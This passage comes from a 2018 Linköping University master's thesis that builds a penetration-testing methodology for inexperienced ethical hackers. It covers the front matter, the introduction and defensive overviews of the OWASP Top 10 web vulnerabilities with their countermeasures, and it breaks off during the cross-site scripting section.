Pentesting

Linköping University | Department of Computer and Information Science
Master thesis, 30 ECTS | Datateknik

2018 | LIU-IDA/LITH-EX-A--18/012--SE
Penetration testing for the in-

experienced ethical hacker
– A baseline methodology for detecting and mitigating
web application vulnerabilities
Penetrationstestning för den oerfarne etiska hackaren

– En gedigen grundmetodologi för detektering och mitigering av
sårbarheter i webbapplikationer
Per Lindquist
Henrik Ottosson
Supervisor : Jan Karlsson, Ulf Kargén

Examiner : Nahid Shahmehri
Linköpings universitet
SE–581 83 Linköping
+46 13 28 10 00 , www.liu.se
Upphovsrätt
Detta dokument hålls tillgängligt på Internet – eller dess framtida ersättare – under 25 år
från publiceringsdatum under förutsättning att inga extraordinära omständigheter uppstår.
Tillgång till dokumentet innebär tillstånd för var och en att läsa, ladda ner, skriva ut enstaka
kopior för enskilt bruk och att använda det oförändrat för ickekommersiell forskning och för
undervisning. Överföring av upphovsrätten vid en senare tidpunkt kan inte upphäva detta
tillstånd. All annan användning av dokumentet kräver upphovsmannens medgivande. För
att garantera äktheten, säkerheten och tillgängligheten finns lösningar av teknisk och admin-
istrativ art. Upphovsmannens ideella rätt innefattar rätt att bli nämnd som upphovsman i
den omfattning som god sed kräver vid användning av dokumentet på ovan beskrivna sätt
samt skydd mot att dokumentet ändras eller presenteras i sådan form eller i sådant sam-
manhang som är kränkande för upphovsmannens litterära eller konstnärliga anseende eller
egenart. För ytterligare information om Linköping University Electronic Press se förlagets
hemsida http://www.ep.liu.se/.
Copyright
The publishers will keep this document online on the Internet – or its possible replacement
– for a period of 25 years starting from the date of publication barring exceptional circum-
stances. The online availability of the document implies permanent permission for anyone to
read, to download, or to print out single copies for his/hers own use and to use it unchanged
for non-commercial research and educational purpose. Subsequent transfers of copyright
cannot revoke this permission. All other uses of the document are conditional upon the con-
sent of the copyright owner. The publisher has taken technical and administrative measures
to assure authenticity, security and accessibility. According to intellectual property law the
author has the right to be mentioned when his/her work is accessed as described above and
to be protected against infringement. For additional information about the Linköping Uni-
versity Electronic Press and its procedures for publication and for assurance of document
integrity, please refer to its www home page: http://www.ep.liu.se/.
c Per Lindquist

Henrik Ottosson
Abstract
Having a proper method of defense against attacks is crucial for web applications to
ensure the safety of both the application itself and its users. Penetration testing (or ethical
hacking) has long been one of the primary methods to detect vulnerabilities against such
attacks, but is costly and requires considerable ability and knowledge. As this expertise
remains largely individual and undocumented, the industry remains based on expertise. A
lack of comprehensive methodologies at levels that are accessible to inexperienced ethical
hackers is clearly observable.
While attempts at automating the process have yielded some results, automated tools
are often specific to certain types of flaws, and lack contextual flexibility. A clear, simple
and comprehensive methodology using automatic vulnerability scanners complemented
by manual methods is therefore necessary to get a basic level of security across the entirety
of a web application. This master’s thesis describes the construction of such a methodology.
In order to define the requirements of the methodology, a literature study was per-
formed to identify the types of vulnerabilities most critical to web applications, and the
applicability of automated tools for each of them. These tools were tested against various
existing applications, both intentionally vulnerable ones, and ones that were intended to
be secure.
The methodology was constructed as a four-step process: Manual Review, Testing, Risk
Analysis, and Reporting. Further, the testing step was defined as an iterative process in
three parts: Tool/Method Selection, Vulnerability Testing, and Verification. In order to ver-
ify the sufficiency of the methodology, it was subject to Peer-review and Field experiments.
Sammanfattning
Att ha en gedigen metodologi för att försvara mot attacker är avgörande för att upprät-
thålla säkerheten i webbapplikationer, både vad gäller applikationen själv och dess använ-
dare. Penetrationstestning (eller etisk hacking) har länge varit en av de främsta metoderna
för att upptäcka sårbarheter mot sådana attacker, men det är kostsamt och kräver stor per-
sonlig förmåga och kunskap. Eftersom denna expertis förblir i stor utsträckning individuell
och odokumenterad, fortsätter industrin vara baserad på expertis. En brist på omfattande
metodiker på nivåer som är tillgängliga för oerfarna etiska hackare är tydligt observerbar.
Även om försök att automatisera processen har givit visst resultat är automatiserade
verktyg ofta specifika för vissa typer av sårbarheter och lider av bristande flexibilitet. En
tydlig, enkel och övergripande metodik som använder sig av automatiska sårbarhetsverk-
tyg och kompletterande manuella metoder är därför nödvändig för att få till en grundläg-
gande och heltäckande säkerhetsnivå. Denna masteruppsats beskriver konstruktionen av
en sådan metodik.
För att definiera metodologin genomfördes en litteraturstudie för att identifiera de
typer av sårbarheter som är mest kritiska för webbapplikationer, samt tillämpligheten av
automatiserade verktyg för var och en av dessa sårbarhetstyper. Verktygen i fråga tes-
tades mot olika befintliga applikationer, både mot avsiktligt sårbara, och sådana som var
utvecklade med syfte att vara säkra.
Metodiken konstruerades som en fyrstegsprocess: manuell granskning, sårbarhetstest-
ning, riskanalys och rapportering. Vidare definierades sårbarhetstestningen som en iterativ
process i tre delar: val av verkyg och metoder, sårbarhetsprovning och sårbarhetsverifier-
ing. För att verifiera metodens tillräcklighet användes metoder såsom peer-review och
fältexperiment.
Acknowledgments
The authors of this thesis would like to do the following acknowledgements:

Ulf Kargén, thank you for great academic supervision and excellence in answering our ques-
tions during our thesis work.
Jan Karlsson and Secure State Cyber, thank you for great support and the possibility to be able
to complete this work.
Peter Österberg, Staffan Huslid and Jonas Lejon, thank you for your intelligent answers during
our industry and expert interviews. Your insight in this field helped us tremendously.
Edward Nsolo, thank you for bringing constructive criticism and knowledge by proof reading
and questioning.
Lastly, the authors would like to thank each other for great support, hard work and excel-
lent company.
v
Contents
Abstract iii
Acknowledgments v
Contents vi
List of Figures ix
List of Tables x
1 Introduction 1
1.1 Motivation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
1.2 Aim . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
1.3 Method Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
1.4 Research questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
1.5 Delimitations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.6 Secure State Cyber . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
2 Notable Vulnerabilities 4
2.1 National Vulnerability Database (NVD) . . . . . . . . . . . . . . . . . . . . . . . 4
2.2 Open Web Application Security Project (OWASP) Top 10 . . . . . . . . . . . . . 5
1 - Injection (I) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
2 - Broken Authentication (BA) . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
3 - Sensitive Data Exposure (SDE) . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
4 - XML External Entities (XXE) . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
5 - Broken Access Control (BAC) . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
6 - Security Misconfiguration (SM) . . . . . . . . . . . . . . . . . . . . . . . . . . 7
7 - Cross-Site Scripting (XSS) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
8 - Insecure Deserialization (ID) . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
9 - Using Components with Known Vulnerabilities (UCwKV) . . . . . . . . . . 9
10 - Insufficient Logging and Monitoring (IL&M) . . . . . . . . . . . . . . . . . . 9
3 Penetration Testing 11
3.1 Information Gathering . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
3.2 Vulnerability Testing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
3.3 Risk Assessment . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
3.4 Reporting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
4 Existing Tools, Methods and Environments 14

4.1 Methods of Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
4.2 Vulnerability scanning requirements . . . . . . . . . . . . . . . . . . . . . . . . . 15
FedRAMP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
Experienced Penetration Testers . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
vi
4.3 Existing Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
Zed Attack Proxy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
Burp Suite Community Edition . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
Sqlmap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
IronWASP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
Vega . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
Arachni . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
Wapiti . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
4.4 Related Works: Tools being tested against special environments . . . . . . . . . 17
4.5 Existing Methods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
Manual Crawling . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
Logical Flaws . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
Vulnerability Verification . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
4.6 Existing Environments . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
DVWA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
OWASP Bricks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
WACKOPICKO . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
Peruggia . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
OrangeHRM . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
Bila Nu & Presentshoppen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
5 Method 21
5.1 Literature study . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
Interviews . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
5.2 Requirements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
5.3 Selection, Testing and Evaluation of Tools and Features . . . . . . . . . . . . . . 23
5.4 Comprehensive Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
5.5 Design of Interactive Algorithm . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
5.6 Verification of Comprehensive Methodology . . . . . . . . . . . . . . . . . . . . 24
Empirical Validation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
Peer-Review . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
Field Experiment . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
6 Results 26
6.1 Literature Study . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
6.2 Requirements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
6.3 Selection, Testing and Evaluation of Tools and Features . . . . . . . . . . . . . . 27
VEGA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
Zed Attack Proxy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
Arachni . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
Sqlmap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
IronWASP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
Wapiti . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
BURPsuite Community Edition (CE) . . . . . . . . . . . . . . . . . . . . . . . . . 28
Non-viable Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
6.4 Comprehensive Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
Manual Review . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
Tools and Method Selection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30
Vulnerability Testing and Verification . . . . . . . . . . . . . . . . . . . . . . . . 30
Risk Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
Reporting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
6.5 Design of Interactive Algorithm . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
6.6 Verification of Comprehensive Methodology . . . . . . . . . . . . . . . . . . . . 32
vii
Peer-Review . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
Empirical Validation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
Field Experiment . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
7 Discussion 34
7.1 Results . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
Literature Study and Sources . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
Interviews . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
Requirements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
Selection, Testing and Evaluation of Tools and Features . . . . . . . . . . . . . . 35
Comprehensive Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
Design of Interactive Algorithm . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
Verification of Comprehensive Methodology . . . . . . . . . . . . . . . . . . . . 36
7.2 Method . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
Literature Study and Sources . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
Requirements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
Selection, Testing and Evaluation of Tools and Features . . . . . . . . . . . . . . 37
Comprehensive Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38
Design of Interactive Algorithm . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38
Verification of Comprehensive Methodology . . . . . . . . . . . . . . . . . . . . 38
7.3 The work in a wider context . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38
Existing Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38
Ethical Aspect: The potential for malicious use . . . . . . . . . . . . . . . . . . . 39
Societal Aspect: Increasing ease of penetration testing . . . . . . . . . . . . . . . 39
Societal Aspect: Increasing Cybersecurity Threats . . . . . . . . . . . . . . . . . 39
8 Conclusion 40
8.1 Main Contributions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40
8.2 Research Question Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40
8.3 Future Work . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
A Appendix 1 - Vulnerability Scanner evaluation 42
B Appendix 2 - Interviews with industry experts 45

Interview with Peter Österberg, 2018-02-19 . . . . . . . . . . . . . . . . . . . . . 45
Interview with Staffan Huslid, 2018-02-26 . . . . . . . . . . . . . . . . . . . . . . 47
Interview with Jonas Lejon 2018-03-21 . . . . . . . . . . . . . . . . . . . . . . . . 48
C Appendix 3 - OrangeHRM Field Experiment 50

Manual Review . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50
Tools and Method Selection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
Vulnerability testing and Verification . . . . . . . . . . . . . . . . . . . . . . . . . 51
Risk Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
Reporting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
Bibliography 52
viii
List of Figures
3.1 Risk Severity . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
6.1 Comprehensive Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
ix
List of Tables
2.1 Log States . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
4.1 Scanners and OWASP top 10 vulnerability mapping as claimed by each scanner’s
documentation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
4.2 Environment-Vulnerability mapping . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
6.1 Tools and their respective fulfillment of requirements . . . . . . . . . . . . . . . . . 28
A.1 Initial testing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42

A.2 Wackopicko . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
A.3 DVWA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
A.4 Peruggia . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44
x
1 Introduction
The digital age has resulted in a considerable number of practical web applications, giving
users access to large quantities of information and functionality. With this increase of avail-
ability, the concerns about application security increase accordingly, as concluded by Post et
al. [1] in 1991, before many of the concepts behind the modern web application had been
introduced. Ease of access to an application could be considered inversely correlated to ap-
plication security, in the sense that an increase in the exposure of an application is likely to
create new attack vectors [2].
Still, organizations tend to mainly design their applications to be as user-friendly, acces-
sible and visually interesting as possible, which may well result in the introduction of new
security flaws, as pointed out by professional penetration tester Peter Österberg [2] in an in-
terview conducted as part of this thesis. Accordingly, Jang et al. [3] reported findings on 12
practical attacks that they claim were made possible specifically by the introduction of cer-
tain accessibility features in modern operating systems. As attackers work quickly to discover
and exploit such vulnerabilities, owners of web applications need to act even faster towards
detecting and resolving those same vulnerabilities. With the speed at which the situation
evolves, David Talbot [4] from the MIT Technology Review notes that organizations wishing to
protect their sensitive data can find it increasingly hard to even determine the level of security
they have achieved at any given time.
Of course, there are professionals available to assist with such matters. There are two
distinct titles within the industry that describe the concept of non-malicious hacking, the title
of ethical hacker1 , and the title of penetration tester. Universities2,3 and other organizations4
have created educations to be able to meet the increasing market demands for this type of
professional [2].
Moreover, there are organizations dedicated to the structural analysis of common vul-
nerabilities and attack vectors, such as the non-profit Open Web Application Security Project
(OWASP). OWASP maintains a Top 10 list of the security issues currently considered the
most notable, such as Injections, Cross-Site Scripting and Sensitive Data Exposure [5].
1 https://en.oxforddictionaries.com/definition/ethical_hacker
2 EP3370:
https://www.kth.se/student/kurser/kurs/EP3370?l=en
3 EN2720:https://www.kth.se/student/kurser/kurs/EN2720?l=en
4 EC-Council: https://www.eccouncil.org/programs/certified-ethical-hacker-ceh/
1
1.1. Motivation
Due to the considerable variation of potential attacks, purely manual testing tends to be-
come unwieldy, especially in larger applications, as noted by Kupsch et al. [6]. Purely auto-
mated testing, on the other hand, has its own set of issues, regardless of the specific field in
which it is applied. While effective as a time saving effort in largely unchanging and repet-
itive situations, automated systems tend to lack sufficient flexibility, which creates the need
for skilled operators to manually verify the results [6].
Unfortunately, skilled operators may soon become short supply, given the increased mar-
ket demands [7], [8]. As the penetration testing profession remains largely individualistic and
experience-driven, testers generally choose their own tools and work according to their own
methods [9], which causes an almost complete lack of documented general standards, both
regarding methodology and results. Due to this, an upcoming generational shift may lead to
knowledge loss among penetration testers, as senior experience is not sufficiently transferred
to juniors [2].
1.1 Motivation
While penetration testing is an established field, the expertise remains largely undocumented.
Studies have been performed regarding specific (or closely coupled) vulnerabilities and how
to neutralize them, but no comprehensive methodology appears to have been published re-
garding the combination of the existing automated tools with manual penetration testing. In
order to allow inexperienced testers to perform at acceptable levels, comprehensive standard
methodologies, upon which expertise and specialization may be built, must be introduced.
1.2 Aim
This master’s thesis is expected to result in a methodology for web application security anal-
ysis, including automated and manual tools and methods, covering common critical flaws,
as per industry definitions. In order to enhance the credibility of the methodology, it will be
verified by security experts.
1.3 Method Overview

The general approach will be as follows:
1. Perform a literature study of common attack vectors and their impacts, based on estab-
lished industry data.
2. Create a set of requirements for complete vulnerability detection and mitigation ser-
vices, including both automated and manual tools and methods.
3. Research and investigate currently existing automated services and manual methods
for performing vulnerability analysis of web applications.
4. Based on the identified automated services and manual methods, develop a compre-
hensive methodology that could be used to get a full overview of critical vulnerabilities,
including recommended mitigating measures.
5. Verify the validity of the solution.
1.4 Research questions

This master’s thesis is intended to answer the following questions:
• What notable vulnerabilities are most critical for web applications?
2
1.5. Delimitations
• For what types of vulnerabilities are existing automated scanners suitable to use?
• What manual methods are needed to complement the automated services to develop a
comprehensive methodology?
• How can the effectiveness of the methodology be verified?
1.5 Delimitations
This master’s thesis will not involve the construction of any new vulnerability scanners or
specific methods, nor concern any matters of design and development of new web applica-
tions, nor will it concern matters of information security outside of web application bound-
aries, such as social engineering or physical security.
The methodology presented in the Master’s thesis is intended for use by knowledgeable
but inexperienced penetration testers, and will therefore require basic information security
and penetration testing knowledge. It will not go into technical detail regarding the use of
any tools or methods included within it.
1.6 Secure State Cyber

Secure State Cyber5 , for which this thesis work was performed, specializes in cyber secu-
rity and information security. They offer certified cybersecurity services based on the cus-
tomer’s needs and conditions. They help customers solve complex issues in a structured way
throughout all stages of the cybersecurity process, to identify, protect, detect, respond and
recover.
Secure State Cyber was founded in 2005 and operates from their headquarters in Sweden.
At the beginning of 2018, they had roughly 20 employees.
5 https://securestate.se/en
3
2 Notable Vulnerabilities
There are many potential threats against web applications and many ways in which they can
be important to consider, be it due to high frequency, high potential harm, or the ease of acting
them out. In order to provide a comprehensive methodology for detection and mitigation, the
most critical and common threats must be defined. In this chapter, organizations devoted to
the documentation and ranking of vulnerability types are introduced. Descriptions of these
vulnerabilities, and ways they can be specifically counteracted, are also detailed.
2.1 National Vulnerability Database (NVD)

The Department of Homeland Security’s National Cyber Security Division1 has sponsored
an open-source database for common vulnerabilities. It is based on predefined standards for
identification (Common Vulnerabilities and Exposures (CVE)) and rating (Common Vulner-
ability Scoring System (CVSS)).
These two standards have been used to pioneer other vulnerability databases and CVE is
maintained by the non-profit organization Mitre Corporation2 , while CVSS is an open indus-
try standard3 .
The CVE4 is a list of known vulnerabilities. Each entry details the specific technical vul-
nerability, a practical description of how the vulnerability can be exploited, and references
to relevant documentation. Each such vulnerability is given an CVE number and added to
the list when reported. The primary purpose of this is to allow for independent security or-
ganizations and tools to have a common reference to specific issues, removing the need for
extensive internal databases, and easing communication between entities which may each
have given the same issue a unique designation. While extensive and detailed, the CVE li-
brary is generally of limited use for web application security assessment, as such systems are
rarely prominent or large enough to warrant inclusion [2].
1 NIST, National Vulnerability Database: https://www.nist.gov/programs-projects/national-vulnerability-
database-nvd
2 Mitre Corporation: https://mitre.org/
3 CVSS: https://nvd.nist.gov/vuln-metrics/cvss
4 CVE: http://cve.mitre.org/
4
2.2. Open Web Application Security Project (OWASP) Top 10
In turn, CVSS5 provides a way to calculate a vulnerabilities severity numerically, based

on a number of factors.
2.2 Open Web Application Security Project (OWASP) Top 10

The OWASP Top 10 list of critical risks, which according to penetration tester Peter Österberg
[2] covers 95-99% of actually occurring vulnerabilities, was updated in November of 20176 .
Notable changes from the 2013 version7 include the introduction of three new issues, XML
External Entities, Insecure Deserialization and Insufficient Logging Monitoring [5]. The cur-
rent list is as follows:
1 - Injection (I)
Injection flaws generally allow attackers to submit data which is interpreted as commands to
be executed by the system but may also be used in attempts to overflow buffers or cause other
harm to a system [5]. Depending on the design of the system, injection flaws include various
types, such as SQL, Xpath and LDAP injection [10]. Such attacks are suitable to launch across
networks and are often used to gain access or create insertion vectors for various types of
malware or further attacks [11].
Countermeasures and detection

There are established methods of protection against injection type attacks, including param-
eterizing statements and validating input [10], [12]. By constructing limitations of what is
accepted as input, the potential for harmful content being processed is limited. Such valida-
tion can also be achieved with the use of whitelisting, accepting only input which follows an
established set of rules with regards to traits such as content and size.
Other methods focus less on the rejection of suspicious input, opting instead for prevent-
ing the system from executing the received instructions, such as the one proposed by Gaurav
et al. [11], which employs the use of randomized instruction sets. This method is proclaimed
to protect against any type of injection, by making the executable code unique to the partic-
ular environment, preventing attackers from providing accepted instructions to the system,
without first having access to the randomization key.
While manual penetration testing against injection flaws is entirely possible, attacks of
this kind are easiest to perform using automated tools, as confirmed by the proprietary web
vulnerability scanner vendor Netsparker [13].
2 - Broken Authentication (BA)

Broken Authentication refers to an event where an attacker successfully deduces the creden-
tials of other users through any of a multitude of methods, such as by stealing keys, session to-
kens or passwords [5]. Often, simple password deduction is achieved by brute-forcing log-in
credentials using external tools in combination with known vulnerabilities and/or dictionar-
ies of common passwords [14], bypassing the need to actually intercept any communication.

Huluka et al. [15] has researched the root causes of broken authentication. They have iden-
tified some causes, including lack of security knowledge, mixing of confidential data with
non-confidential data, and the use of in-house developed functions instead of well tested
5 CVSS:
https://www.first.org/cvss/
6 OWASP Top 10 2017: https://www.owasp.org/images/7/72/OWASP_Top_10-2017_(en).pdf.pdf
7 OWASP Top 10 2013: https://www.owasp.org/images/f/f8/OWASP_Top_10_-_2013.pdf
5
external alternatives. Strong and secure defence mechanisms can be very costly and cause
inconveniences for both owners and users, but the consequences can be severe if they are not
implemented. Suggestions on what a proper defence mechanism should include are: vali-
dation to ensure that users use strong passwords, avoiding the use of session ids in URLs,
using image recognition tasks to detect non-human behavior, and not giving attackers useful
information in error messages [15], [16]. In addition to this, broken authentication also con-
cerns how passwords are stored, whether a good hashing algorithm is being used, and if the
passwords are salted [13].
Automated scanners are able to find some divergence from safe patterns for some of
these mechanisms, such as session IDs or passwords being sent in clear text, but many of
the vulnerabilities require logical analysis to discover, based on behavior which cannot be
detected/verified by an automated scanner [13]. As such, while automated tools are able to
discover some blatantly insecure circumstances, they cannot be relied upon to provide suffi-
cient security on their own, requiring additional manual analysis.
3 - Sensitive Data Exposure (SDE)

Without specific protection, sensitive data is at risk of interception. Such data may include
financial details and health records, possibly allowing for a variety of further crimes if stolen
[5]. According to Risk Based Security [17], the yearly number of exposed records saw a marked
increase in the early 2010s, most notably between 2012 and 2013 (an increase by 212%).

The potential exposure of sensitive data is an important aspect of any data handling system.
Poorly encrypted or even unencrypted data is at great risk from a number of types of attack.
In order to prevent such issues, some basic methods exist [5]: Firstly, sensitive data should
be stored to as small an extent as possible, depending on the purpose of the application in
question. If the data is not stored, it cannot be stolen from the repository. Secondly, any data
that is stored must be sufficiently encrypted. Thirdly, to prevent interception attacks, any
sensitive data must also be sufficiently encrypted during transit.
Apart from those types of data which is required by applicable law to be especially pro-
tected, such as social security numbers, credit card details and user credentials, exactly what
constitutes sensitive data is highly subjective, and depends on each individual stakeholder.
While automated scanners are able to scan for patterns matching legally protected structures,
the subjectivity of the matter makes automation a very limited solution [13]. In cases where
known sensitive data is stored, transmitted, or displayed, policies are likely already in place.
It is therefor much simpler to review documentation and practices manually, rather than at-
tempting to automate the process [10].
4 - XML External Entities (XXE)

Incorrectly configured XML processors may allow for external actors to access internal files
and functionality, resulting in the potential of backdoors being placed to enable further at-
tacks [5]. Additionally, sensitive data may be exposed, and there is potential for DOS attacks,
a risk made more prevalent due to this vulnerability remaining present in the default config-
urations of many current XML parsers [18].

The vulnerability of XXE consists of the possibility for a malicious user to cause a variety of
issues by supplying the parser with a reference to an external entity. These vulnerabilities
may exist in any parser, including those sold by high-profile vendors [19]. Any customer of
parsers should therefore pay attention to known exploits and weaknesses continuously, as
6
the situation may well change over time. As this type of vulnerability is highly technical,
automated scanners can detect these types of vulnerabilities with high accuracy [13].
Notably, removing the threat of external entities is often as simple as configuring the
parser to not accept them [18], which will often have the additional benefit of preventing
many other types of malicious XML injection attacks (such as the Billion Laughs8 DOS at-
tack). During a manual assessment, it is often worth questioning whether the XML parsing
is actually providing any key business value, and removing the threat entirely if possible.
5 - Broken Access Control (BAC)

Broken Access Control, where non-authorized users/attackers are able to gain access to data
by tampering with access rights or compromising user accounts that have access to confiden-
tial files [5]. Notably, static analysis is very difficult to perform, as most attacks are highly
dynamic, and the vulnerabilities may leave very limited traces in the actual source code [20].

If the validation of user access rights is manipulated or the access control system is miscon-
figured, confidential information could end up in the wrong hands. Mitigation for Broken
Access Control has considerable inherent overlap with mitigation of Broken Authentication,
as well as various types of injection flaws, as such vulnerabilities may allow for access to re-
stricted data, meaning that mitigation against injection flaws and broken authentication may
also mitigate risks relating to access control, as shown by Zhu et al. [20].
Sandhu et al. [21] state that access control should be accompanied by log auditing, where
logs track what users do in the system to confirm that the access control system works in
the correct manner. They further point out that the use of log auditing is also helpful when
verifying that administrators do not misuse their privileges. Such auditing can generally be
handled by automatic tools, to detect situations like a non-admin user being able to access
restricted pages like /admin/.
However, access control is primarily an organizational field, as poor access control is of-
ten possible to detect (and exploit) even without intrusive software manipulation, making
manual analysis preferable, possibly aided by the use of a proxy [10]. In addition to this,
automated systems are difficult to design to recognize expected levels of access, further com-
plicating the use of automated tools [13].
6 - Security Misconfiguration (SM)

Security Misconfiguration is often caused by the use of default configurations, deploying
applications with debugging messages and detailed error reports still in place, or making
poorly planned changes, resulting in a variety of issues [5], [10]. It can also easily be caused
by connected systems, frameworks, and libraries not being maintained and updated. Default
installations are often publicly known, and their attack vectors are easily made visible by
using an automated scan [13], [22].
This issue is further propagated, in part, due to many web applications being dependent
on the same frameworks [22]. If such frameworks allow for easy mistakes when configuring
security, the same specific vulnerabilities are likely to be represented in many other-wise
independent applications.

OWASP [5] suggests that prevention to security misconfiguration should be configured to
a company standard, so that new development environments will be deployed with ease,
making security configuration very efficient.
8 Billion Laughs: https://en.wikipedia.org/wiki/Billion_laughs_attack
7
As correctly configuring security is often not as technically complex as many other aspects
of security, many mitigation techniques, such as the one proposed by Eshete et al. [22], are
primarily focused on simply identifying and reporting such issues.
7 - Cross-Site Scripting (XSS)

Input fields that do not have decent validation in place are vulnerable to a variety of at-
tacks, which can allow the attacker to execute scripts or insert elements into the browsers
of other users without their knowledge or consent. The users can then face identity theft or
be redirected to malicious sites [5]. XSS attacks are commonly grouped into DOM/Type-0,
stored/persistent/Type I, or reflected/non-persistent/Type II.
Stored XSS refers to malicious code being stored on a server, often hidden within user
